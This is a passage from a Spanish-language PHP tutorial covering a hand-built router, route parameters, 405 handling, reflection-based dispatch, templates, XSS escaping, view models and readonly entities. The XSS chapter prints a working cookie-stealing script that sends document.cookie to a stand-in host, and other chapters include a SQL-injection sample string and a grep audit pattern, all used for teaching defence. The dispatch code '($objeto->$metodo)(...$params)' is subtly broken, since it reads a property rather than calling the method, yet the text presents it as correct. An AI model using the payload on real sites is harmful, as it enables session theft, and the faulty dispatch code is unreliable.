  • [Clase, 'método']: el formato callable nativo de PHP. Todavía como strings para mantener la tabla serializable y legible.
  • return [...]: un archivo de configuración pura — ni un require de clases aquí adentro.

El buscador: diez líneas honestas

<?php
// router.php — version estatica
function buscarRuta(array $rutas, string $metodo, string $ruta): array
{
    $llave = $metodo . ' ' . $ruta;

    if (!isset($rutas[$llave])) {
        throw new RuntimeException("Ruta no encontrada: $llave", 404);
    }
    return $rutas[$llave];       // ej.: ['PedidosControlador', 'listar']
}

¿Y si mañana quieres cachear rutas o filtrar por middleware? La función es el único punto donde tocar. Esa concentración es el verdadero regalo del front controller.

Integración en index.php

<?php // fragmento final del bootstrap (reemplaza el match del cap. 6)
$rutas = require BASE_PATH . '/rutas.php';
require BASE_PATH . '/router.php';

$metodo = $_SERVER['REQUEST_METHOD'];
$ruta   = rutaActual();                       // eco cap. 8

try {
    [$clase, $accion] = buscarRuta($rutas, $metodo, $ruta);

    // Despacho provisional: aun sin reflexion, ya funciona
    require BASE_PATH . '/controladores/' . $clase . '.php';
    $controlador = new $clase();
    $respuesta   = $controlador->$accion();

    http_response_code(200);
} catch (Throwable $e) {
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
    $respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
}
echo $respuesta;

Fíjate en new $clase(): PHP instancia desde una cadena sin ceremonia alguna. Y $controlador->$accion() llama al método cuyo nombre viaja en una variable. El despacho elegante llega en el capítulo 12 — pero quería que vieras primero que ya funciona así de simple.

# Prueba integral de la tanda: curl -s localhost:8000/ # InicioControlador::inicio curl -s localhost:8000/contacto # InicioControlador::contacto curl -s -o /dev/null -w "%{http_code}\n" localhost:8000/inexistente # 404
Bienvenido a la tienda Escríbenos a contacto@tienda.test 404
Ejercicio propuesto: añade la ruta 'GET /quienes-somos' => ['InicioControlador', 'nosotros'] SIN tocar index.php ni router.php. Si lograste hacerlo solo editando dos archivos (tabla + controlador), entendiste el punto de esta Parte III entera.

Puntos clave

  • Rutas como datos: tabla declarativa separada de la maquinaria de búsqueda.
  • Llave compuesta MÉTODO ruta prepara el terreno para 404/405.
  • new $clase() y $obj->$metodo(): despacho dinámico nativo.
  • Agregar páginas ya NO toca el motor — solo la tabla y su controlador.

10 · Parámetros dinámicos: /pedidos/{id}

Intermedio ~16 min

La tabla estática tiene un límite evidente: no puedes declarar /pedidos/17, /pedidos/18… hasta el fin de los tiempos. Lo que necesitas es un patrón con huecos: /pedidos/{id}. La herramienta para huecos ya la dominas del capítulo 8 de php_01 — expresiones regulares, y su mejor truco: los grupos nombrados.

  • Convertir una ruta con placeholders en un patrón regex anclado.
  • Capturar parámetros por nombre (?P<id>) y entregarlos al controlador.
  • Usar la ruta como PRIMER filtro de validación antes de tocar la base.

De llave a patrón

<?php
// Traduccion: '/pedidos/{id}'  =>  '#^/pedidos/(?P<id>\d+)$#'
function patronDe(string $ruta): string
{
    $patron = preg_replace('#\{([a-zA-Z_][a-zA-Z0-9_]*)\}#', '(?P<$1>\d+)', $ruta);
    return '#^' . $patron . '$#';
}

var_dump(patronDe('/pedidos/{id}'));
string(24) "#^/pedidos/(?P<id>\d+)$#"

Tres decisiones dentro de esa función diminuta:

  • Anclaje total (^...$): sin él, /pedidos/17/historial haría match falso.
  • Delimitador #: evita escapar las barras de la ruta.
  • Grupo nombrado (?P<id>): el resultado del match llega como arreglo asociativo — el controlador recibe $parametros['id'], no una posición mágica.

El router híbrido: exacto primero, patrones después

<?php
function buscarRuta(array $rutas, string $metodo, string $ruta): array
{
    $llave = $metodo . ' ' . $ruta;

    // 1) coincidencia EXACTA (rapida, cubre la mayoria)
    if (isset($rutas[$llave])) {
        return [$rutas[$llave], []];                 // sin parametros
    }

    // 2) coincidencia POR PATRON (rutas dinamicas)
    foreach ($rutas as $definicion => $accion) {
        [$met, $patronRuta] = explode(' ', $definicion, 2);
        if ($met !== $metodo || !str_contains($patronRuta, '{')) {
            continue;
        }
        if (preg_match(patronDe($patronRuta), $ruta, $m)) {
            unset($m[0]);                            // el match completo sobra
            return [$accion, $m];                    // ej.: ['id' => '17']
        }
    }

    throw new RuntimeException("Ruta no encontrada: $llave", 404);
}

La tabla ni se enteró del cambio — sigue siendo el mismo archivo legible:

<?php // rutas.php — ahora con dinamicas
return [
    'GET /'                    => ['InicioControlador',   'inicio'],
    'GET /pedidos'             => ['PedidosControlador',  'listar'],
    'POST /pedidos'            => ['PedidosControlador',  'registrar'],
    'GET /pedidos/{id}'        => ['PedidosControlador',  'ver'],
    'POST /pedidos/{id}/anular' => ['PedidosControlador', 'anular'],
];

Prueba ejecutable del matcher

<?php
$rutas = require 'rutas.php';

[$accion, $params] = buscarRuta($rutas, 'GET', '/pedidos');
assert($params === []);

[$accion, $params] = buscarRuta($rutas, 'GET', '/pedidos/17');
assert($accion === ['PedidosControlador', 'ver']);
assert($params === ['id' => '17']);       // ojo: string, no int

echo "Matcher verificado\n";
El id llega como STRING. Regex captura texto. Tu repositorio recibirá '17'; si tipa estricto exige int, convierte con (int) en el controlador — o mejor: deja que la firma tipada del método lo valide y lance su propio error. Doble red de seguridad, cero costo.
La ruta como primer filtro: con {id:\d+} garantizado por regex, jamás llega a tu SQL un id = "17; DROP TABLE pedidos". Los placeholders aún más estrictos ({slug:[a-z0-9-]+}, {fecha:\d{4}-\d{2}-\d{2}}) son una línea de cambio en patronDe(): deja el default genérico y añade soporte para {nombre:patron} como ejercicio.

Puntos clave

  • Hueco {id} → grupo nombrado (?P<id>…) → parámetro con nombre.
  • Búsqueda en dos capas: exacta (rápida) y luego por patrones.
  • Regex anclada + patrón restrictivo = primera línea de defensa real.
  • Laravel hace exactamente esto: compila tus rutas a regex al arrancar.

11 · Métodos HTTP por ruta: 404 vs 405

Intermedio ~14 min

El router ya entiende rutas y parámetros; ahora perfecciona su vocabulario. La distinción fina entre 404 (el lugar no existe) y 405 (el lugar existe, pero no atiende ese método) es lo que separa una API respetable de una que confunde hasta al cliente HTTP más paciente.

  • Distinguir 404 de 405 con la semántica correcta de cada uno.
  • Llevar los métodos permitidos DENTRO de una excepción propia.
  • Emitir la cabecera Allow: como pide el estándar.

El escenario que delata

# La ruta /pedidos existe para GET y POST... curl -s -o /dev/null -w "%{http_code}\n" -X DELETE localhost:8000/pedidos # ¿Que debe responder? ¿404? ¡No! El recurso EXISTE: es 405 Method Not Allowed

Sin esta distinción, un cliente mal configurado recibe «no encontró la página» cuando el problema real es «usaste el verbo equivocado» — y depurar eso por correo es deporte poco recomendable.

Una excepción que viaja con datos

En php_01 (cap. 20) creaste excepciones con datos propios. Aquí brilla ese patrón: el 405 necesita informar QUÉ métodos sí se aceptan:

<?php
final class ExcepcionMetodo extends RuntimeException
{
    /** @param string[] $permitidos verbos HTTP validos para la ruta */
    public function __construct(public readonly array $permitidos)
    {
        parent::__construct('Metodo no permitido', 405);
    }
}

La búsqueda en dos pasadas

<?php
function resolverRuta(array $rutas, string $metodo, string $ruta): array
{
    // PASADA 1: coincidencia exacta
    if (isset($rutas["$metodo $ruta"])) {
        return [$rutas["$metodo $ruta"], []];
    }

    // PASADA 1b: patrones con parametros
    foreach ($rutas as $definicion => $accion) {
        [$met, $patronRuta] = explode(' ', $definicion, 2);
        if ($met === $metodo && str_contains($patronRuta, '{')
            && preg_match(patronDe($patronRuta), $ruta, $m)) {
            unset($m[0]);
            return [$accion, $m];
        }
    }

    // PASADA 2: diagnostico — ¿la ruta existe con OTRO metodo?
    $permitidos = [];
    foreach ($rutas as $definicion => $ignorar) {
        [$met, $patronRuta] = explode(' ', $definicion, 2);
        $coincide = str_contains($patronRuta, '{')
            ? (bool) preg_match(patronDe($patronRuta), $ruta)
            : $patronRuta === $ruta;
        if ($coincide) {
            $permitidos[] = $met;
        }
    }

    if ($permitidos !== []) {
        throw new ExcepcionMetodo(array_values(array_unique($permitidos)));
    }

    throw new RuntimeException("Ruta no encontrada: $ruta", 404);
}
Ojo al orden: primero se agotan TODAS las formas de encontrar la ruta (exacta y patrones) y solo entonces se diagnostica. Invertir el orden convertiría cada 404 legítimo en un 405 confuso.

El catch que responde con educación

El estándar exige acompañar un 405 con la lista de verbos aceptados en la cabecera Allow. Nuestra excepción trae esa lista adentro:

} catch (ExcepcionMetodo $e) {
    http_response_code(405);
    header('Allow: ' . implode(', ', $e->permitidos));
    $respuesta = 'Metodo no permitido';
} catch (Throwable $e) {
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
    $respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
}

Verificación completa con curl

curl -s -o /dev/null -w "%{http_code}\n" localhost:8000/pedidos # 200 (GET existe) curl -s -o /dev/null -w "%{http_code}\n" -X POST localhost:8000/pedidos # 200 (POST existe) curl -s -o /dev/null -w "%{http_code}\n" -X DELETE localhost:8000/pedidos # 405 + Allow curl -s -o /dev/null -w "%{http_code}\n" localhost:8000/xyz # 404 real curl -sI -X DELETE localhost:8000/pedidos | grep -i allow # cabecera
200 200 405 404 Allow: GET, POST
CasoCódigoCabecera extraMensaje sugerido
Ruta y método existen200/302
Nadie atiende esa ruta404Recurso no encontrado
Ruta existe, método no405Allow: GET, POSTMétodo no permitido

Puntos clave

  • 404 = el recurso no existe; 405 = existe pero con otros métodos.
  • Diagnóstico SIEMPRE después de agotar todas las formas de match.
  • Excepción con datos (eco cap. 20): el 405 transporta sus métodos válidos.
  • El 405 lleva Allow: — así lo exige el estándar HTTP.

12 · El despacho: callables y reflexión

Avanzado ~17 min

El router entrega ['PedidosControlador', 'ver'] más sus parámetros. Falta el último eslabón: construir el controlador con sus dependencias y llamar a la acción con los argumentos correctos. Aquí nace, en miniatura, el concepto que Laravel llama service container — y verás que no hay magia.

  • Pasar de tabla de strings a objeto real con dependencias inyectadas.
  • Llamar acciones con los parámetros de ruta como argumentos nombrados.
  • Cerrar la Parte III con el front controller completo y ejecutable.

Paso 1: ¿quién construye al constructor?

Nuestro controlador necesita un repositorio — que necesita un PDO. Alguien debe armar esa cadena ANTES del despacho:

<?php
// contenedor.php — fabrica de objetos (mini service container)
function construirControlador(string $clase): object
{
    return match ($clase) {
        'InicioControlador'  => new InicioControlador(),
        'PedidosControlador' => new PedidosControlador(
            new PedidoRepositorio(conexion())
        ),
        default => throw new RuntimeException("Controlador desconocido: $clase", 500),
    };
}
Explícito primero: un match artesanal es preferible a magia prematura. En el paso 3 lo reemplazaremos por reflexión — y podrás comparar ambos con criterio propio, como se debe.

Paso 2: la llamada con argumentos

Los parámetros llegan como arreglo asociativo (['id' => '17']). Tres formas nativas de convertirlos en argumentos:

<?php
$objeto   = construirControlador($accion[0]);
$metodo   = $accion[1];
$params   = ['id' => '17'];

// A) variable-variable clasica (no soporta params multiples ordenados)
$objeto->$metodo(id: (int) current($params));

// B) call_user_func_array: expande el arreglo como argumentos
call_user_func_array([$objeto, $metodo], $params);

// C) first-class callable + spread (PHP 8+, la mas limpia)
($objeto->$metodo)(...$params);

La opción C usa la sintaxis de callables de primera clase que ya dominas (cap. 14 de php_01): obtiene un Closure del método y lo invoca con spread. Con argumentos nombrados, el orden deja de importar: si tu acción declara ver(int $id), PHP casa $params['id'] por nombre.

Paso 3: reflexión — la fábrica universal

El match del paso 1 exige editarlo por cada controlador nuevo. La reflexión lee las firmas y resuelve solita:

<?php
function construirConReflexion(string $clase, array $fabricas = []): object
{
    $ref = new ReflectionClass($clase);
    $ctor = $ref->getConstructor();

    if ($ctor === null || $ctor->getNumberOfParameters() === 0) {
        return new $clase();                       // sin dependencias
    }

    $args = [];
    foreach ($ctor->getParameters() as $param) {
        $tipo = $param->getType();
        $nombre = $tipo && !$tipo->isBuiltin() ? $tipo->getName() : null;

        // ¿hay una fabrica registrada para este tipo? (ej.: PDO, repositorios)
        if ($nombre !== null && isset($fabricas[$nombre])) {
            $args[] = $fabricas[$nombre]();
        } elseif ($nombre !== null && class_exists($nombre)) {
            $args[] = construirConReflexion($nombre, $fabricas);   // recursivo
        } elseif ($param->isDefaultValueAvailable()) {
            $args[] = $param->getDefaultValue();
        } else {
            throw new RuntimeException("No puedo resolver \$$param", 500);
        }
    }
    return $ref->newInstanceArgs($args);
}

// registro minimo de fabricas:
$fabricas = [
    PDO::class => conexion(...),
    PedidoRepositorio::class => fn () => new PedidoRepositorio(conexion()),
];

Veintiún líneas que inspeccionan el constructor, resuelven cada tipo conocido (recursivamente) y fallan con mensaje claro si algo falta. Laravel hace EXACTAMENTE esto entre su container y el despachador de rutas — con caché, singletons y contextos, pero el principio es idéntico.

Cierre: el front controller definitivo

<?php
declare(strict_types=1);
define('BASE_PATH', __DIR__);
session_start();

require BASE_PATH . '/helpers.php';
require BASE_PATH . '/excepciones.php';
require BASE_PATH . '/repositorios.php';
require BASE_PATH . '/controladores.php';
require BASE_PATH . '/router.php';

set_exception_handler(function (Throwable $e): void {
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
    echo htmlspecialchars($e->getMessage(), ENT_QUOTES);
});

$fabricas = [
    PDO::class => conexion(...),
    PedidoRepositorio::class => fn () => new PedidoRepositorio(conexion()),
];

try {
    [$accion, $params] = resolverRuta(
        require BASE_PATH . '/rutas.php',
        $_SERVER['REQUEST_METHOD'],
        rutaActual(),
    );
    $controlador = construirConReflexion($accion[0], $fabricas);
    $metodo = $accion[1];

    http_response_code(200);
    echo ($controlador->$metodo)(...$params);
} catch (Throwable $e) {
    set_exception_handler(null);       // evita recursion infinita
    throw $e;
}

Treinta líneas orquestando todo lo aprendido en tres partes: rutas limpias, resolución declarativa, despacho dinámico y red de seguridad global. Cada framework del capítulo 31 hará estas mismas cosas frente a ti — ahora las reconocerás una a una.

Puntos clave

  • El contenedor resuelve dependencias ANTES del despacho; explícito primero, reflexión después.
  • ($objeto->$metodo)(...$params): callables de primera clase + spread.
  • Argumentos nombrados casan parámetros de ruta con firmas tipadas.
  • La reflexión sobre constructores ES el corazón del service container de cualquier framework.

13 · Plantillas puras: extract y buffering

Intermedio ~16 min

Hasta aquí los controladores devolvieron cadenas con HTML incrustado — útil para aprender el ciclo, indigno para producir. Esta parte convierte esas cadenas en archivos de plantilla reales, empezando por la función que será el motor de toda la Parte IV: vista(). Sus dos ingredientes: extract() para convertir datos en variables y ob_start() para capturar HTML sin imprimirlo.

  • Implementar vista() completa y entender cada línea.
  • Explicar por qué CAPTURAR (y no imprimir) protege el control de las cabeceras.
  • Asegurar el alcance con EXTR_SKIP.

El problema del eco directo

<?php
// MAL: imprimir ANTES de decidir cabeceras
echo '<h1>Pedido guardado</h1>';        // el cuerpo ya empezo a salir
header('Location: /pedidos');            // WARNING: headers already sent!

Eco del capítulo 4: header() exige cuerpo virgen. Si la vista imprime directamente, pierdes el derecho a redirigir, cambiar el código de estado o emitir cookies después. La salida debe ser un valor que el controlador decide cuándo enviar.

La función vista(), línea por línea

<?php
// helpers_vistas.php
define('RUTA_PLANTILLAS', BASE_PATH . '/plantillas');

function vista(string $plantilla, array $datos = []): string
{
    // 1) cada dato se vuelve una variable local de la plantilla
    extract($datos, EXTR_SKIP);

    // 2) abrir buffer: nada sale a la pantalla todavia
    ob_start();

    // 3) la plantilla ejecuta su HTML y usa esas variables
    require RUTA_PLANTILLAS . '/' . $plantilla . '.php';

    // 4) devolver TODO lo producido como un string limpio
    return ob_get_clean();
}

Con esto, una plantilla es solo un archivo PHP donde las claves del arreglo existen como variables:

<?php
// controlador
$pedidos = $this->repo->todos();
return vista('pedidos/listar', ['titulo' => 'Pedidos', 'filas' => $pedidos]);
<?php // plantillas/pedidos/listar.php — $titulo y $filas YA EXISTEN aqui ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <tr>
    <td>#<?= (int) $f['id'] ?></td>
    <td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
  </tr>
<?php endforeach; ?>
</table>
# Sigue funcionando igual desde fuera: curl -s localhost:8000/pedidos # <h1>Pedidos</h1><table border="1">...

Los dos parámetros que no son negociables

  • EXTR_SKIP: si un dato llegara con la clave filas y TÚ ya tenías una variable $filas importante, sin este flag sería pisada. Con SKIP, las existentes ganan. Defensivo y gratuito.
  • ob_get_clean(): devuelve el buffer Y lo cierra. Usar ob_get_contents() sin limpiar duplicaría la salida. El par correcto para capturar y soltar es exactamente este.
¿Por qué no simplemente include? Porque un include ejecuta y ENVÍA; nosotros necesitamos poseer el resultado para decidir después: envolverlo en un layout (cap. 14), convertirlo en respuesta JSON o descartarlo si algo falló a mitad de camino. El buffer convierte «salida» en «dato».
Este patrón no es invento nuestro: los motores Blade, Twig y hasta el viejo Smarty hacen internamente lo mismo — compilar/capturar y devolver strings. La diferencia es cuánta azúcar agregan encima.

Puntos clave

  • vista() = extract + ob_start + require + ob_get_clean. Cuatro movimientos.
  • Capturar convierte la salida en valor manipulable antes de enviarla.
  • EXTR_SKIP siempre: las variables existentes jamás se pisan.
  • Las plantillas reciben variables, no consultas ni objetos de petición.

14 · Layouts anidados y partials

Intermedio ~15 min

Cada plantilla de la tienda repite hoy el mismo esqueleto: <!DOCTYPE>, head, navbar, pie… Cambiar un link del menú significa editar N archivos — exactamente la duplicación que juramos eliminar en el capítulo 2. La solución: dos niveles de plantilla — el contenido específico se renderiza primero y un layout compartido lo envuelve después.

  • Extender vista() para soportar layouts.
  • Escribir el layout base y pasarle el contenido capturado.
  • Extraer fragmentos reutilizables como partials.

La función evolucionada

<?php
function vista(string $plantilla, array $datos = [], ?string $layout = 'base'): string
{
    // NIVEL 1: el contenido especifico
    extract($datos, EXTR_SKIP);
    ob_start();
    require RUTA_PLANTILLAS . '/' . $plantilla . '.php';
    $contenido = ob_get_clean();

    // NIVEL 2: el layout lo envuelve (o devolvemos crudo para AJAX)
    if ($layout === null) {
        return $contenido;
    }
    $titulo ??= 'Tienda';                       // default si la vista no lo trajo
    ob_start();
    require RUTA_PLANTILLAS . '/layouts/' . $layout . '.php';
    return ob_get_clean();
}

El flujo mental: primero se pinta la página interior, luego esa pintura viaja como variable $contenido al molde general.

El layout base

<?php // plantillas/layouts/base.php — recibe $contenido y quizas $titulo ?>
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="utf-8">
  <title><?= htmlspecialchars($titulo, ENT_QUOTES) ?> · Tienda</title>
</head>
<body>
  <nav>
    <a href="/">Inicio</a> |
    <a href="/pedidos">Pedidos</a> |
    <a href="/contacto">Contacto</a>
  </nav>

  <main>
    <?= $contenido ?>      <!-- AQUI aterriza la plantilla interna -->
  </main>

  <footer>&copy; 2026 Tienda</footer>
</body>
</html>
<?php // plantillas/pedidos/listar.php — ya SIN esqueleto, solo su parte ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<?php foreach ($filas as $f): ?>
  <p>#<?= (int) $f['id'] ?> — <?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></p>
<?php endforeach; ?>
<!DOCTYPE html> <html lang="es">...<nav>...<main> <h1>Pedidos</h1><p>#17 — Café Central</p> </main>...</html>
Pasa un endpoint JSON? Llama vista('api/pedidos', $datos, null) — layout nulo devuelve el crudo. Un parámetro, dos formatos de salida. Así de barato es diseñar bien.

Partials: piezas que se repiten entre vistas

La fila de pedido aparece en «listar» y aparecerá en «buscar». Se extrae a un partial con convención de guión bajo:

<?php // plantillas/pedidos/_fila.php — espera $f ?>
<tr>
  <td>#<?= (int) $f['id'] ?></td>
  <td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
  <td>S/ <?= number_format($f['total'], 2) ?></td>
</tr>
<?php // plantillas/pedidos/listar.php ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <?php require __DIR__ . '/_fila.php'; ?>
<?php endforeach; ?>
</table>
  • Convención visual: el prefijo _fila.php grita «no soy una página completa».
  • Variables heredadas: el require comparte el alcance actual — $f simplemente está ahí.
  • Contrato documentado: el comentario «espera $f» es la API del partial; respétalo y nada se romperá.

Layouts con variantes sin duplicar

¿Una página de login sin navbar? No copies el layout: crea layouts/limpio.php reutilizando partials comunes, y pídelo por nombre:

<?php
return vista('sesion/login', $datos, layout: 'limpio');

Puntos clave

  • Dos niveles: contenido específico primero, layout envolvente después.
  • $contenido es el puente entre ambos — posible gracias al buffer.
  • layout: null habilita respuestas crudas (JSON/AJAX) gratis.
  • Partials con guión bajo + contrato documentado = cero duplicación de fragmentos.

15 · Escapado e(): anti-XSS en vistas

Intermedio ~15 min

Ya viste htmlspecialchars() repetirse en cada ejemplo — al punto del dolor de muñeca. Ese cansancio es real y peligroso: la primera función que un desarrollador cansado omite es justamente la que evita el robo de sesiones. Este capítulo destila el tema (ya tratado en php_01, cap. 34) a la forma que adopta DENTRO de las vistas: una función de tres letras, e(), y una disciplina inquebrantable.

  • Escribir la función e() canónica y justificar cada flag.
  • Reproducir un XSS mínimo y su curación línea por línea.
  • Saber qué hacer en contextos especiales (atributos, JS inline).

La función

<?php
// helpers_vistas.php
function e(null|string|Stringable $valor): string
{
    return htmlspecialchars((string) $valor,
        ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// uso en plantilla:
?>
<p>Cliente: <?= e($f['cliente']) ?></p>

Los flags, uno por uno:

  • ENT_QUOTES: escapa también comillas simples — imprescindible porque imprimirás valores DENTRO de atributos (alt="").
  • ENT_SUBSTITUTE: bytes UTF-8 inválidos se reemplazan en vez de invalidar toda la salida.
  • Acepta null y Stringable: los datos de BD traen NULL más seguido de lo que admite el orgullo; las entidades readonly del capítulo 17 se convertirán a string solas.

El ataque, en tres líneas

<?php
// Un "cliente" malicioso se registro con este nombre:
$nombre = '<script>fetch("https://malo.pe?c="+document.cookie)</script>';
?>

<!-- VISTA VULNERABLE -->
<p><?= $nombre ?></p>        <!-- el script VIAJA al navegador de cada visitante -->

<!-- VISTA CURADA -->
<p><?= e($nombre) ?></p>      <!-- se ve como texto: &lt;script&gt;... inocuo -->

El XSS almacenado roba cookies de sesión de TODOS los que visiten la página. La curación no fue un framework ni un firewall: fue envolver una variable.

El contexto manda

Contexto de salidaTécnica correcta
Cuerpo HTML (<p>...</p>)e($x)
Atributo (title="...")e($x) — ENT_QUOTES ya cubre comillas
Dentro de <script> inlineNunca interpolar usuario. Usar json_encode($x, JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_HEX_AMP) o mejor: atributos data-* leídos desde JS externo
URL (href="?q=...")urlencode() para el valor + validar esquema si es URL completa
CSS inlineNo aceptar valores de usuario jamás
La regla de oro de esta Parte IV: en tus plantillas NO existe el <?= $variable ?> desnudo. Existe <?= e($variable) ?>, o un valor que TÚ fabricaste con (int)/number_format(). Cero excepciones «solo este caso».

Auditoría mecánica en 30 segundos

La disciplina se puede verificar automáticamente. Este comando lista cualquier interpolación sospechosa:

# Variables impresas SIN pasar por e() ni cast numerico: grep -rnE '<\?= \$[a-zA-Z_]' plantillas/ | grep -v 'e(' | grep -vE '\(int\)|number_format'
(sin salida = plantillas limpias)

Conviértelo en parte de tu rutina de verificación — o engánchalo al pipeline como haremos con nuestros verificadores. La seguridad sostenible es la que se puede comprobar sin confiar en la memoria.

Puntos clave

  • e(): corta, con ENT_QUOTES | ENT_SUBSTITUTE y tolerante a null.
  • XSS almacenado roba sesiones en cadena — se cura escapando UNA salida.
  • En JS inline no hay escapado seguro cómodo: usa data-* o json_encode con flags.
  • Ningún <?= $x ?> desnudo sobrevive en tus plantillas. Nunca.

16 · View models: la vista recibe datos listos

Intermedio ~15 min

Queda una aspereza en nuestro contrato con las vistas: les pasamos filas crudas de base de datos y CADA plantilla decide cómo formatear el total, qué color usar para ANULADO, cómo mostrar fechas. Si mañana cambia la regla del color, es caza de copias por todas las plantillas. La pieza que falta tiene nombre: view model — un objeto que traduce dominio a presentación UNA sola vez.

  • Formalizar el contrato: la vista pinta, no calcula ni decide.
  • Construir view models readonly a partir de entidades de dominio.
  • Cerrar la Parte IV con el recorrido vertical completo.

El antipatrón que estamos extirpando

<?php // DUPLICADO en listar.php, buscar.php y reporte_csv.php
$color = $f['estado'] === 'ANULADO' ? 'red'
       : ($f['estado'] === 'PAGADO' ? 'green' : 'black');
$clase = match($f['estado']) {           // ¿otra variante? otra copia
    'ANULADO' => 'badge-danger',
    default   => 'badge-secondary',
};

Tres archivos, dos reglas, seis líneas gemelas. Y la vista — que debería ser analfabeta de negocio — está tomando decisiones de diseño de datos.

El view model: traducción única

<?php
// vistamodelos/PedidoVista.php — SOLO presentacion; no toca BD
final readonly class PedidoVista
{
    public function __construct(
        public int $id,
        public string $cliente,
        public string $total,            // YA formateado
        public string $fecha,            // YA legible
        public string $estado,
        public string $claseBadge,       // decision visual YA tomada
        public bool $anulable,
    ) {}

    public static function desdeDominio(Pedido $p): self
    {
        return new self(
            id: $p->id,
            cliente: $p->cliente,
            total: 'S/ ' . number_format($p->total, 2),
            fecha: $p->creado->format('d/m/Y H:i'),
            estado: $p->estado,
            claseBadge: match ($p->estado) {
                'ANULADO' => 'badge-danger',
                'PAGADO'  => 'badge-success',
                default   => 'badge-secondary',
            },
            anulable: $p->puedeAnularse(),      // regla de negocio delegada al modelo
        );
    }
}

Fíjate en anulable: la pregunta «¿puede anularse este pedido?» es NEGOCIO — vive en la entidad (cap. 17 la implementará). El view model solo la transporta ya respondida. Cada capa hace su único trabajo.

La plantilla se vuelve casi tonta

<?php // plantillas/pedidos/_fila.php — espera PedidoVista $vm ?>
<tr>
  <td>#<?= $vm->id ?></td>
  <td><?= e($vm->cliente) ?></td>
  <td><?= $vm->total ?></td>
  <td><span class="<?= $vm->claseBadge ?>"><?= e($vm->estado) ?></span></td>
  <?php if ($vm->anulable): ?>
    <td><a href="/pedidos/<?= $vm->id ?>/anular">Anular</a></td>
  <?php endif; ?>
</tr>

Sin formatos, sin matches de negocio, sin colores. Solo pintura condicional mínima. Y el controlador queda como simple puente:

<?php
public function listar(): string
{
    $vms = array_map(
        fn (Pedido $p) => PedidoVista::desdeDominio($p),
        $this->repo->todos()
    );
    return vista('pedidos/listar', ['filas' => $vms, 'titulo' => 'Pedidos']);
}

Cierre de Parte IV: el recorrido vertical completo

GET /pedidos/17 └─ rewrite (.htaccess) ................. cap. 7 └─ rutaActual() .................... cap. 8 → '/pedidos/17' └─ resolverRuta() .............. caps. 9-11 → ['PedidosControlador','ver'], ['id'=>'17'] └─ construirConReflexion() . cap. 12 → PedidosControlador(repo) └─ ver(17) ............ repo trae Pedido (dominio) └─ PedidoVista .... cap. 16 → datos listos para pintar └─ vista() .... caps.13-15 → HTML escapado dentro del layout
¿Y si parece mucha capa? Para DOS vistas que muestran pedidos, quizá. Para un sistema real con diez vistas, exportaciones CSV/Excel y correos, cada regla escrita UNA vez es oro. El view model escala; el copy-paste no.

Puntos clave

  • Reglas de formato/presentación viven UNA vez: en el view model.
  • Las preguntas de negocio se responden en el modelo; el VM las transporta.
  • readonly + constructor nombrado = view models inmutables y claros.
  • Parte IV cerrada: plantillas capturadas, envueltas en layout, escapadas y alimentadas con datos preparados.

17 · Entidades readonly del dominio

Intermedio ~15 min

Llega la parte donde el modelo deja de ser un arreglo asociativo anónimo y gana nombre propio. Una entidad representa un concepto del negocio con identidad propia — un pedido, un cliente — y sus reglas mínimas de existencia. Usaremos las herramientas modernas que ya dominas: clases readonly, enums y promoción de propiedades.

  • Modelar Pedido como entidad inmutable con tipos correctos.
  • Sustituir strings mágicos por el enum EstadoPedido.
  • Hidratar desde filas de BD sin perder el camino tipado.

El estado ya no es un string suelto

<?php
declare(strict_types=1);

// dominio/EstadoPedido.php — nomenclatura canonica de la serie
enum EstadoPedido: string
{
    case REGISTRADO = 'REGISTRADO';
    case PAGADO     = 'PAGADO';
    case ANULADO    = 'ANULADO';

    // Las transiciones validas viven AQUI, no dispersas por el sistema
    public function puedePasarA(self $nuevo): bool
    {
        return match ($this) {
            self::REGISTRADO => in_array($nuevo, [self::PAGADO, self::ANULADO], true),
            default          => false,      // PAGADO y ANULADO son finales
        };
    }
}

Tres beneficios inmediatos: autocompletado en tu editor, imposibilidad de escribir 'ANUALDO' (typo silencioso de antes), y una sola fuente de verdad para las reglas de transición.

La entidad Pedido

<?php
// dominio/Pedido.php
final readonly class Pedido
{
    public function __construct(
        public int $id,
        public int $clienteId,
        public float $total,
        public EstadoPedido $estado,
        public DateTimeImmutable $creado,
    ) {}

    /** Fabrica desde fila de BD: convierte tipos primitivos a ricos */
    public static function desdeFila(array $f): self
    {
        return new self(
            id: (int) $f['id'],
            clienteId: (int) $f['cliente_id'],
            total: (float) $f['total'],
            estado: EstadoPedido::from($f['estado']),
            creado: new DateTimeImmutable($f['creado']),
        );
    }

    // --- reglas de consulta (no mutan nada: la clase es readonly) ---

    public function estaAnulado(): bool
    {
        return $this->estado === EstadoPedido::ANULADO;
    }

    public function puedeAnularse(): bool
    {
        return $this->estado->puedePasarA(EstadoPedido::ANULADO);
    }
}
Fila de BDPropiedadPor qué el cambio
'id' => '17'int $idNúmeros llegan como texto; se tipifican UNA vez aquí
'estado' => 'ANULADO'EstadoPedidoDe string mágico a valor cerrado y verificable
'creado' => '2026-08-23 09:14'DateTimeImmutableFechas inmutables: fin de los bugs de modificación accidental

¿Por qué readonly y final?

  • readonly: una vez cargado el pedido, NADIE lo muta de pasada. Los cambios de estado producirán nuevos objetos (cap. 21) o irán por métodos explícitos del repositorio. Inmutabilidad = trazabilidad.
  • final: nadie hereda «por si acaso». La composición resuelve; la herencia sorpresa corrompe.
# Verificacion rapida desde CLI: php -r "require 'dominio/EstadoPedido.php'; print_r(EstadoPedido::REGISTRADO->puedePasarA(EstadoPedido::PAGADO)); print_r(EstadoPedido::PAGADO->puedePasarA(EstadoPedido::ANULADO));"
